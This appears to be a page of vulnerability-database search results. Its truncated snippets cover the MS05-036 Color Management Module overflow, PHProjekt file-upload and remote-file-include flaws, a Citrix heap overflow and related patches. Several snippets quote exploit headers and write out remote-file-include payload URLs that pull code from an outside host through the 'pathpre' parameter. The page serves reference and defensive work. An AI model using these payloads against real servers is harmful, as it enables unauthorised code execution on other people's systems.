1065 matches found
Microsoft Color Management Module profile tag buffer overflow
Added: 11/30/2007 CVE: CVE-2005-1219 BID: 14214 OSVDB: 17830 Background The Microsoft Color Management Module helps programs achieve consistent display of colors. International Color Consortium ICC profiles are used to ensure that colors are represented accurately to users. Problem A buffer...
Microsoft Color Management Module profile tag buffer overflow
Added: 11/30/2007 CVE: CVE-2005-1219 BID: 14214 OSVDB: 17830 Background The Microsoft Color Management Module helps programs achieve consistent display of colors. International Color Consortium ICC profiles are used to ensure that colors are represented accurately to users. Problem A buffer...
Unrestricted file upload
Unrestricted file upload vulnerability in PHProjekt 5.2.0, when magicquotesgpc is disabled, allows remote authenticated users to upload and execute arbitrary PHP code via a file with an executable extension, which is then accessed by the 1 calendar or 2 file management module, or possibly...
CVE-2007-1639
PHProjekt 5.2.0 contains an unrestricted file upload vulnerability (CVE-2007-1639) that allows an authenticated user to upload a PHP payload and execute code via a file with an executable extension, when magic_quotes_gpc is disabled. The issue can be triggered through modules such as calendar or ...
Citrix MetaFrame IMA Management Module Remote Heap Overflow Vulnerability
This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Citrix MetaFrame Presentation Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the routine IMASECUREDecryptData1 defined in ImaSystem.dll and is...
phprojekt061.txt
Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability 2 Found By: D3nGeR E-Mail: [email protected] exploit: http://Target/Path/cmlib.inc.php?pathpre=http://cmd.gif? http://Target/Path/doc/br.edithelp.php?pathpre=http://cmd.gif?...
PHProjekt <= 6.1 (path_pre) Multiple Remote File Include Vulnerabilities
No description provided by source. Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability Download: http://www.mariovaldez.net/software/cm4p/files/cm4p0.6.1.tar.gz Found By: the master exploit: http://Target/Path/cmnavigation-33.inc.php?pathpre=http://cmd.gif?...
PHProjekt <= 6.1 (path_pre) Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ======================================================================== PHProjekt = 6.1 pathpre Multiple Remote File Include Vulnerabilities ======================================================================== Content management modul...
PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions
source: https://www.securityfocus.com/bid/19628/info Multiple remote file-include vulnerabilities affect the Content Management module for PHProjekt because the application fails to properly sanitize user-supplied input before using it in a PHP 'include' function call. An attacker may leverage...
Microsoft Windows - Color Management Module Overflow (MS05-036) (2)
/ \ MS05-036 ICC Stack Overflow Exploit / by Darkeagle \ / GreetZ: all unl0ckerz, ed, f0st, uf0, sowhat, str0ke, black, redsand \ / \ special tnx to snooq for his PoC. / \ / xploit was tested on WinXP SP1 RUS with explorer.exe \ / 02.08.05 \ / http://eagle.blacksecurity.org \ / include include...
MS Windows Color Management Module Overflow Expl (MS05-036) (2)
Exploit for unknown platform in category remote exploits ================================================================== MS Windows Color Management Module Overflow Exploit MS05-036 2 ================================================================== / \ MS05-036 ICC Stack Overflow Exploit / b...
Microsoft Windows - Color Management Module Overflow (MS05-036) (2)
Microsoft Windows - Color Management Module Overflow MS05-036 2 / \ MS05-036 ICC Stack Overflow Exploit / by Darkeagle \ / GreetZ: all unl0ckerz, ed, f0st, uf0, sowhat, str0ke, black, redsand \ / \ special tnx to snooq for his PoC. / \ / xploit was tested on WinXP SP1 RUS with explorer.exe \ /...
Microsoft Windows - Color Management Module Overflow (MS05-036) (1)
/ Author: snooq http://www.redpuffer.net/snooq/web/ Date: 21 July 2005 When I looked at the PoC posted on bugtraq.... I was basically quite disappointed. The 'PoC' fixed 'tag count' to a large number.. but this code path does not seem to be exploitable... GetColorProfileElement crashes becoz it...
Microsoft Windows - Color Management Module Overflow (MS05-036) (1)
Microsoft Windows - Color Management Module Overflow MS05-036 1 / Author: snooq http://www.redpuffer.net/snooq/web/ Date: 21 July 2005 When I looked at the PoC posted on bugtraq.... I was basically quite disappointed. The 'PoC' fixed 'tag count' to a large number.. but this code path does not see...
CVE-2005-1219
The Microsoft Color Management Module in Windows 2000 and Windows XP is vulnerable to a buffer overflow when processing image files with crafted ICC profile format tags . An attacker could exploit this by persuading a user to open a specially crafted image file, potentially leading to arbitrary c...
VulnCheck KEV: CVE-2005-1219
Buffer overflow in the Microsoft Color Management Module for Windows allows remote attackers to execute arbitrary code via an image with crafted ICC profile format tags...
CVE-2005-1219: Undefined Security Weakness
Buffer overflow in the Microsoft Color Management Module for Windows allows remote attackers to execute arbitrary code via an image with crafted ICC profile format tags...
MS05-036: Vulnerability in Microsoft Color Management Module Could Allow Remote Code Execution (901214)
The remote host contains a version of the Color Management Module that is vulnerable to a security flaw that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and entice a victim to visit this web page. Tenable Network Security, Inc...
CVE-2002-1841: Unrestricted Upload of File with Dangerous Type
The document management module in NOLA 1.1.1 and 1.1.2 does not restrict the types of files that are uploaded, which allows remote attackers to upload and execute arbitrary PHP files with extensions such as .php4...
Security Update for Windows XP x64 Edition (KB901214)
A security issue has been identified in the Color Management Module that could allow an attacker to compromise your Microsoft Windows-based system and gain control over it. You can help protect your computer by installing this update from Microsoft. After you install this item, you may have to...